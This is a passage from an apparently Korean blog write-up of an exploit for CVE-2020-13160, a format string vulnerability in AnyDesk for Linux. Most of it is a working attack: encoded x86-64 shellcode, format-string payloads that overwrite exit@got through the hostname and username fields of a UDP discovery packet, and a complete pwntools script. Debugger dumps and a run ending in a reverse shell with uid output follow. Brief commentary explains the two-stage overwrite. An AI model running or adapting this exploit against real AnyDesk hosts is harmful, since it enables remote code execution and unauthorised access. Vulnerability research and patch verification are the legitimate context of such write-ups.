shellcode += b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
shellcode += b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
shellcode += b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
shellcode += b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
shellcode += b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
shellcode += b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%167$ln'+shellcode, '\x85\xfe%18472249x%110$ln', 'ad', 'main')
username 에서 먼저 포멧 스트링 버그가 터지면서...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ exit address
...
a2:0510│ 0x7fff73468920 —▸ exit@got —▸ exit address
...
0x7fff73468758 가 exit 함수 주소를 가리키게 될 거고hostname 에서 두 번째 포맷 스트링 버그가 터지면서
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ shellcode address
...
a2:0510│ 0x7fff73468920 —▸ exit@got —▸ shellcode address
...
exit@got가 shellcode의 주소로 Overwrite 될 것입니다.하지만 PoC 코드를 실행시켜보면
pwndbg> telescope 0x7fff73468758 1
00:0000│ 0x7fff73468758 —▸ 0x7fff73468920 —▸ 0x119ddc0 (time@got.plt) —▸ 0x1692138 ◂— 0x257824312a243125 ('%1$*1$x%')
pwndbg> x/s 0x1692138
0x1692138: "%1$*1$x%167$lnH1\311H\201\351\366\377\377\377H\215\005\357\377\377\377H\273Y\210Ɯ_\376q8H1X'H-\370\377\377\377\342\364\063\241\236\005\065\374.RX\326ə\027i9\201[\210\327\300 \376q9\b\300Oz5\356+Rs\320ə5\375/p\246F\254\275\a\361tM\257\342\375\304ƶ\312\027;ᨳ,\226qk\021\001!\316\b\266\370\336V\215Ɯ_\376q8'"
최종 페이로드
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
shellcode += b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
shellcode += b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
shellcode += b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
shellcode += b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
shellcode += b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
shellcode += b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
shellcode += b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
shellcode += b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%167$ln'+shellcode, '\x85\xfe%18472249x%110$ln', 'ad', 'main')
위의 페이로드로 익스플로잇 코드를 짜보면
shellcode = (
b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
)
from pwn import *
import struct
ip = '127.0.0.1'
port = 50001
p = remote(ip, port, typ="udp")
def generate_packet(anydesk_id, os, hostname, username, info, func):
packet = b'\x3e\xd1\x01'
packet += struct.pack('>I', anydesk_id)
packet += struct.pack('>I', 0)
packet += b'\x02' + bytes([os])
packet += struct.pack('>I', len(hostname)) + hostname
packet += struct.pack('>I', len(username)) + username
packet += struct.pack('>I', 0)
packet += struct.pack('>I', len(info)) + info
packet += b'\x00'
packet += struct.pack('>I', len(func)) + func
packet += b'\x02\xc3\x51'
return packet
shellcode = (
b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
b"\x5b\x88\xd7\xc0\x20\xfe\x71\x39\x08\xc0\x4f"
b"\x7a\x35\xee\x2b\x52\x73\xd0\xc9\x99\x35\xfd"
b"\x2f\x70\xa6\x46\xac\xbd\x07\xf1\x74\x4d\xaf"
b"\xe2\xfd\xc4\xc6\xb6\xca\x17\x3b\xe1\xa8\xb3"
b"\x2c\x96\x71\x6b\x11\x01\x21\xce\x08\xb6\xf8"
b"\xde\x56\x8d\xc6\x9c\x5f\xfe\x71\x38"
)
print('sending payload ...')
hostname = b'\x85' + b'\xfe%1$*1$x%18x%167$ln' + shellcode
username = b'\x85\xfe%18472249x%110$ln'
info = b'ad'
function = b'main'
payload = generate_packet(4919, 1, hostname, username, info, function)
p.send(payload)
print('reverse shell should connect within 5 seconds')
❯ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 50001: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/is119/CVE-2020-13160/anydesk'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
sending payload ...
reverse shell should connect within 5 seconds
[*] Closed connection to 127.0.0.1 port 50001
❯ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 59682 received!
id
uid=1000(is119) gid=1000(is119) groups=1000(is119),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),129(libvirt)
소프트웨어 업데이트
네트워크 방어
취약점 관리